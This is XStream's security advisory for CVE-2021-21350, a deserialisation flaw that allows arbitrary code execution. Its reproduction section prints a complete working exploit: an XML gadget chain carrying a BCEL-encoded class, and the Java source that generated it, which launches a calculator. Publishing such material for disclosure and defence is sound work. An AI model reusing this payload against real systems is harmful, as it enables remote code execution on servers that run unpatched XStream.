<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 20. February 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-21350</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-21350: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>
 
    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in an arbitrary code execution.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
      &lt;comparator class='javafx.collections.ObservableList$1'/&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
      &lt;dataHandler&gt;
        &lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
          &lt;contentType&gt;text/plain&lt;/contentType&gt;
          &lt;is class='java.io.SequenceInputStream'&gt;
            &lt;e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'&gt;
              &lt;iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'&gt;
                &lt;names class='java.util.AbstractList$Itr'&gt;
                  &lt;cursor&gt;0&lt;/cursor&gt;
                  &lt;lastRet&gt;-1&lt;/lastRet&gt;
                  &lt;expectedModCount&gt;0&lt;/expectedModCount&gt;
                  &lt;outer-class class='java.util.Arrays$ArrayList'&gt;
                    &lt;a class='string-array'&gt;
                      &lt;string&gt;$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A&lt;/string&gt;
                    &lt;/a&gt;
                  &lt;/outer-class&gt;
                &lt;/names&gt;
                &lt;processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'&gt;
                  &lt;parent class='sun.misc.Launcher$ExtClassLoader'&gt;
                  &lt;/parent&gt;
                  &lt;package2certs class='hashtable'/&gt;
                  &lt;classes defined-in='java.lang.ClassLoader'/&gt;
                  &lt;defaultDomain&gt;
                    &lt;classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/&gt;
                    &lt;principals/&gt;
                    &lt;hasAllPerm&gt;false&lt;/hasAllPerm&gt;
                    &lt;staticPermissions&gt;false&lt;/staticPermissions&gt;
                    &lt;key&gt;
                      &lt;outer-class reference='../..'/&gt;
                    &lt;/key&gt;
                  &lt;/defaultDomain&gt;
                  &lt;packages/&gt;
                  &lt;nativeLibraries/&gt;
                  &lt;assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/&gt;
                  &lt;defaultAssertionStatus&gt;false&lt;/defaultAssertionStatus&gt;
                  &lt;classes/&gt;
                  &lt;ignored__packages&gt;
                    &lt;string&gt;java.&lt;/string&gt;
                    &lt;string&gt;javax.&lt;/string&gt;
                    &lt;string&gt;sun.&lt;/string&gt;
                  &lt;/ignored__packages&gt;
                  &lt;repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'&gt;
                    &lt;__path&gt;
                      &lt;paths/&gt;
                      &lt;class__path&gt;.&lt;/class__path&gt;
                    &lt;/__path&gt;
                    &lt;__loadedClasses/&gt;
                  &lt;/repository&gt;
                  &lt;deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/&gt;
                &lt;/processorCL&gt;
              &lt;/iterator&gt;
              &lt;type&gt;KEYS&lt;/type&gt;
            &lt;/e&gt;
            &lt;in class='java.io.ByteArrayInputStream'&gt;
              &lt;buf&gt;&lt;/buf&gt;
              &lt;pos&gt;0&lt;/pos&gt;
              &lt;mark&gt;0&lt;/mark&gt;
              &lt;count&gt;0&lt;/count&gt;
            &lt;/in&gt;
          &lt;/is&gt;
          &lt;consumed&gt;false&lt;/consumed&gt;
        &lt;/dataSource&gt;
        &lt;transferFlavors/&gt;
      &lt;/dataHandler&gt;
      &lt;dataLen&gt;0&lt;/dataLen&gt;
    &lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>

    <p>The payload has been directly injected and was generated by following code:</p>

<div class="Source Java"><pre>import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.io.InputStream;

/**
 * @author threedr3am
 */
public class Evil {

    public Evil() throws IOException {
        Runtime.getRuntime().exec("open -a calculator");
    }

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Evil.class.getResourceAsStream("Evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Utility.encode(bytes, true);
        String bcel = "$$BCEL$$" + code;
        System.out.println(bcel);
    }
}
</pre></div>

<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload with the injected code gets executed.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed
	input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>The vulnerability was discovered and reported by threedr3am.</p>
    
  	</body>
 </html>
